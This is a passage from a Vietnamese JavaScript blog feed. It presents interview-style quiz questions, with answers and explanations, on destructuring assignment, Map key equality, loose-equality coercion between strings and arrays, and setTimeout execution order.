trị của n sẽ thay đổi nhưng các giá trị 1, 2, 3 trong mảng <em>numbers</em> trên vẫn thay đổi (kết quả dòng 1).</p> <p>Đối với lần thực hiện forEach tiếp theo, <strong>p</strong> sẽ tương ứng với các phần tử trong mảng là: <strong>{x: 0, y: 1}, {x: 1, y: 2}</strong>. Các giá trị này là object (<strong>reference value</strong>) chứ không phải số bình thường. Tương tự như câu hỏi 1 trên, khi thay đổi giá trị của p, giá trị của các phần tử trong mảng cũng được <strong>reference</strong> theo nên sẽ bị thay đổi. Điều này dẫn đến kết quả như dòng thứ 2 bên trên.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-8--câu-3" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-8--c%C3%A2u-3" aria-label="xoắn não với phỏng vấn javascript 8 câu 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 8 – Câu 3</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> x <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">z</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">b</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token punctuation">{</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">z</span><span class="token operator">:</span> <span class="token punctuation">{</span> a<span class="token punctuation">,</span> b <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span> <span class="token operator">=</span> x<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>z<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible3" class="toggle" type="checkbox"> <label for="collapsible3" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong></p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">1 2 Uncaught ReferenceError: z is not defined</code></pre></div> <p><strong>Giải thích:</strong></p> <p>Mấu chốt của câu hỏi này liên quan đến cách hoạt động của <a href="/destructuring-assignment-trong-javascript/">Destructuring Assignment</a> trên <a href="/tag/es6/">ES6</a>. Destructuring Assignment có thể áp dụng cho Object hoặc Array.</p> <p>Ở đây, mình có biến x - là một object với rất nhiều lớp bên trong. Nếu như không áp dụng ES6 thì để lấy ra giá trị của a, b, z, y thì mình phải làm như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> x <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">z</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">b</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> a <span class="token operator">=</span> x<span class="token punctuation">.</span>y<span class="token punctuation">.</span>z<span class="token punctuation">.</span>a<span class="token punctuation">;</span> <span class="token keyword">const</span> b <span class="token operator">=</span> x<span class="token punctuation">.</span>y<span class="token punctuation">.</span>z<span class="token punctuation">.</span>b<span class="token punctuation">;</span> <span class="token keyword">const</span> z <span class="token operator">=</span> x<span class="token punctuation">.</span>y<span class="token punctuation">.</span>z<span class="token punctuation">;</span> <span class="token keyword">const</span> y <span class="token operator">=</span> x<span class="token punctuation">.</span>y<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>z<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// { a: 1, b: 2 }</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// { z: { a: 1, b: 2 } }</span></code></pre></div> <p>Bạn có thể thấy cách viết này khá dài dòng phải không? Đó chính là lý do Destructuring Assignment ra đời.</p> <p>Khi áp dụng phương pháp này, thực chất là mình sẽ map giá trị với biến theo đúng thứ tự. Khi đó, dòng code thứ 2 bên trên có thể viết thành:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token punctuation">{</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">z</span><span class="token operator">:</span> <span class="token punctuation">{</span> a<span class="token punctuation">,</span> b <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span> <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">z</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">b</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Ở đây, biến a, b sẽ được map với key tương ứng ở vế phải. Suy ra, giá trị của a và b lần lượt là 1 và 2 (đáp án dòng 1, 2).</p> <p><strong>Đối với z và y thì sao?</strong></p> <p>Một chú ý quan trọng trong Destructuring Assignment, biến số là thành phần nằm bên phải dấu <strong>hai chấm</strong> (:). Còn thành phần bên trái dấu hai chấm, nói nôm na là <em>thành phần dẫn đường</em>.</p> <p>Do vậy, z và y ở trên vẫn chưa được định nghĩa, dẫn đến lỗi <strong>Uncaught ReferenceError</strong>.</p> <p>Câu hỏi đặt ra bây giờ là: nếu mình muốn lấy hết tất cả giá trị của a, b, z, y thì làm thế nào?</p> <p>Đơn giản, bạn cần sửa lại đoạn code trên như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> x <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">z</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">b</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token punctuation">{</span> y<span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token punctuation">{</span> z<span class="token punctuation">,</span> <span class="token literal-property property">z</span><span class="token operator">:</span> <span class="token punctuation">{</span> a<span class="token punctuation">,</span> b <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span> <span class="token operator">=</span> x<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>z<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// { a: 1, b: 2 }</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// { z: { a: 1, b: 2 } }</span></code></pre></div> <p>Trong đó, thành phần y, z <strong>đứng một mình</strong> chính là các biến số mà mình trích xuất ra.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-8--câu-4" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-8--c%C3%A2u-4" aria-label="xoắn não với phỏng vấn javascript 8 câu 4 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 8 – Câu 4</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> metadata <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"Window"</span><span class="token punctuation">,</span> <span class="token literal-property property">size</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">300</span><span class="token punctuation">,</span> <span class="token number">400</span><span class="token punctuation">]</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> title<span class="token punctuation">,</span> size<span class="token punctuation">,</span> width<span class="token punctuation">,</span> height<span class="token punctuation">;</span> <span class="token punctuation">{</span> title<span class="token punctuation">,</span> <span class="token literal-property property">size</span><span class="token operator">:</span> <span class="token punctuation">[</span>width<span class="token punctuation">,</span> height<span class="token punctuation">]</span> <span class="token punctuation">}</span> <span class="token operator">=</span> metadata<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>title<span class="token punctuation">,</span> size<span class="token punctuation">,</span> width<span class="token punctuation">,</span> height<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible4" class="toggle" type="checkbox"> <label for="collapsible4" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án</strong>:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">Uncaught SyntaxError: Unexpected token :</code></pre></div> <p><strong>Giải thích</strong>:</p> <p>Khi mới nhìn câu hỏi này, rất nhiều bạn sẽ nghĩ ngay là: "câu hỏi này thì khác quái gì câu trên". Do đó, kết quả sẽ là:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">Window undefined 300 400</code></pre></div> <p>Nhưng thực tế thì không phải như vậy. Vì khi bạn viết dạng gần giống như Destructuring Assignment mà lại không có khai báo kiểu (const, <a href="/phan-biet-var-va-let-trong-javascript/">var và let</a>) ở đầu, thì JS sẽ hiểu đây là một block. Do đó, nó sẽ không hiểu cú pháp dạng <code>site : [width, height]</code> nghĩa là gì.</p> <p>Để tránh bị lỗi trên, bạn có thể đặt Destructuring Assignment bên trong cặp dấu ngoặc đơn như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> metadata <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"Window"</span><span class="token punctuation">,</span> <span class="token literal-property property">size</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">300</span><span class="token punctuation">,</span> <span class="token number">400</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> title<span class="token punctuation">,</span> size<span class="token punctuation">,</span> width<span class="token punctuation">,</span> height<span class="token punctuation">;</span> <span class="token punctuation">(</span><span class="token punctuation">{</span> title<span class="token punctuation">,</span> <span class="token literal-property property">size</span><span class="token operator">:</span> <span class="token punctuation">[</span>width<span class="token punctuation">,</span> height<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">}</span> <span class="token operator">=</span> metadata<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>title<span class="token punctuation">,</span> size<span class="token punctuation">,</span> width<span class="token punctuation">,</span> height<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả thu được lúc này sẽ đúng như mong đợi:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">Window undefined 300 400</code></pre></div> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là 4 câu hỏi phỏng vấn JavaScript cũng rất hay. Nếu bạn có cùng nhận xét với mình thì vui lòng để lại bình luận xuống phía dưới nhé!</p> <p>Xin chào và hẹn gặp lại bạn trong bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Xoắn não với phỏng vấn JavaScript 7]]><![CDATA[Xin chào bạn đến bài viết Xoắn não với phỏng vấn JavaScript 7, hôm nay mình lại tiếp tục chia sẻ với bạn những câu hỏi phỏng vấn JavaScript rất hay. Mời bạn theo dõi bài viết! Xoắn…]]>https://completejavascript.com/xoan-nao-voi-phong-van-javascript-7/https://completejavascript.com/xoan-nao-voi-phong-van-javascript-7/<![CDATA[Map]]><![CDATA[Promise]]><![CDATA[Quiz]]>Fri, 15 Jun 2018 02:00:43 GMT<p>Xin chào bạn đến bài viết <strong>Xoắn não với phỏng vấn JavaScript 7</strong>, hôm nay mình lại tiếp tục chia sẻ với bạn những câu hỏi phỏng vấn JavaScript rất hay.</p> <p>Mời bạn theo dõi bài viết!</p> <h2 id="xoắn-não-với-phỏng-vấn-javascript-7--câu-1" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-7--c%C3%A2u-1" aria-label="xoắn não với phỏng vấn javascript 7 câu 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 7 – Câu 1</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> map<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> a <span class="token operator">=</span> map<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> b <span class="token operator">=</span> map<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> c <span class="token operator">=</span> map<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> b<span class="token punctuation">,</span> c<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> 4 5 undefined</p> <p><strong>Giải thích:</strong></p> <p>Mấu chốt để giải quyết câu hỏi này là: bạn phải hiểu được cơ chế thêm phần tử vào Map khi sử dụng <strong>Map.prototype.set(key, value)</strong>. Phương thức này sẽ gán giá trị <em>value</em> cho <em>key</em> bên trong Map.</p> <p>Nếu <em>key</em> chưa tồn tại thì Map sẽ tạo mới phần tử với <em>key</em> tương ứng. Ngược lại, nếu <em>key</em> đã tồn tại thì Map sẽ gán giá trị mới cho nó.</p> <p><strong>Và quan trọng là</strong>: Map sử dụng thuật toán <a href="https://tc39.github.io/ecma262/#sec-samevaluezero">SameValueZero</a> để so sánh giá trị của các key với nhau. Về cơ bản, thuật toán này sẽ tương đương với việc sử dụng toán tử "===" để so sánh.</p> <p>Mà ở đây, các <em>key</em> lần lượt là: <strong>1, "a" và [1]</strong> và ta có:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">1 === 1 // => true "a" === "a" // => true [1] === [1] // => false</code></pre></div> <p>Do đó, key <strong>1</strong> và <strong>"a"</strong> coi như đã tồn tại, nên giá trị của nó được cập nhật với giá trị mới nhất lần lượt là: <strong>4</strong> và <strong>5</strong>.</p> <p>Trong khi đó, key <strong>[1]</strong> coi như chưa tồn tại. Và dĩ nhiên, khi lấy ra giá trị của nó thì kết quả sẽ là <strong>undefined</strong>.</p> <p>Để biết thêm về Map, mời bạn theo dõi bài viết: <a href="/map-trong-javascript-thi-sao/">Map trong JavaScript thì sao?</a></p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-7--câu-2" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-7--c%C3%A2u-2" aria-label="xoắn não với phỏng vấn javascript 7 câu 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 7 – Câu 2</h2> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">0 == "0" // true 0 == [] // true "0" == [] // (1) "" == [] // (2) "1, 2" == [1, 2] // (3) "1,2" == [1,2] // (4)</code></pre></div> <p>Hỏi giá trị của (1), (2), (3), (4) là gì? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> (1) - false, (2) - true, (3) - false, (4) - true</p> <p><strong>Giải thích:</strong></p> <p>Câu hỏi này liên quan đến việc so sánh 2 giá trị có kiểu dữ liệu khác nhau, sử dụng toán tử "==". Trong trường hợp này, JavaScript sẽ convert chúng về cùng kiểu dữ liệu để so sánh.</p> <p>Cụ thể convert như thế nào thì mình không dám chắc. Mình chỉ dự đoán thôi, đó là JavaScript sẽ convert giá trị thứ hai về cùng kiểu với giá trị thứ nhất.</p> <p>Đối với <strong>0 == "0"</strong> và <strong>0 == []</strong>, JavaScript sẽ convert string <strong>"0"</strong> và array rỗng <strong>[]</strong> về dạng số, nên giá trị của chúng đều là 0. Do đó, kết quả của 2 phép so sánh này là <strong>true</strong>.</p> <p>Đối với các phép so sánh (1), (2), (3) và (4), JavaScript sẽ convert thành phần thứ 2 (kiểu array) về thành phần thứ nhất (kiểu string). Mà để convert array sang kiểu string thì JavaScript sẽ sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/toString">Array.prototype.toString()</a>.</p> <p>Và ta có:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => ""</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => "1,2"</span></code></pre></div> <p>Vì vậy mà mình thu được kết quả như trên.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-7--câu-3" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-7--c%C3%A2u-3" aria-label="xoắn não với phỏng vấn javascript 7 câu 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 7 – Câu 3</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">a</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token function-variable function">b</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"b"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token function-variable function">c</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"c"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token function-variable function">d</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"d"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">b</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">c</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">d</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả theo thứ tự như thế nào?</p> <div class="wrap-collapsible"> <input id="collapsible3" class="toggle" type="checkbox"> <label for="collapsible3" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> d b c a</p> <p><strong>Giải thích:</strong></p> <p>Khi <a href="/ham-la-gi-ham-trong-javascript/">function</a> <strong>d()</strong> được gọi, dĩ nhiên <em>d</em> sẽ được in ra đầu tiên. Ngoài ra, function <strong>b()</strong> và <strong>c()</strong> là hàm xử lý đồng bộ nên chắc chắn <em>b</em> sẽ in ra trước <em>c</em>. Vấn đề ở đây chỉ là <em>a</em> mà thôi.</p> <p>Ở đây, hàm <strong>a()</strong> được đặt trong hàm <a href="https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout()</a>. Mà khi được đặt trong hàm này, hàm <em>a()</em> sẽ được thực hiện ngay sau một khoảng thời gian <em>timeout</em> cho trước.</p> <p>Ở đây, mình truyền vào thời gian <em>timeout</em> là 0. Nhưng thực tế, thời gian này tối thiểu phải là <strong>4ms</strong>. Về chi tiết bạn có thể tham khảo tại <a href="https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout#Reasons_for_delays_longer_than_specified">đây</a>. Do vậy, <em>a</em> sẽ được in ra sau <em>b</em> và <em>c</em>. Và dĩ nhiên, kết quả cuối cùng phải là: <strong>d b c a</strong>.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-7--câu-4" 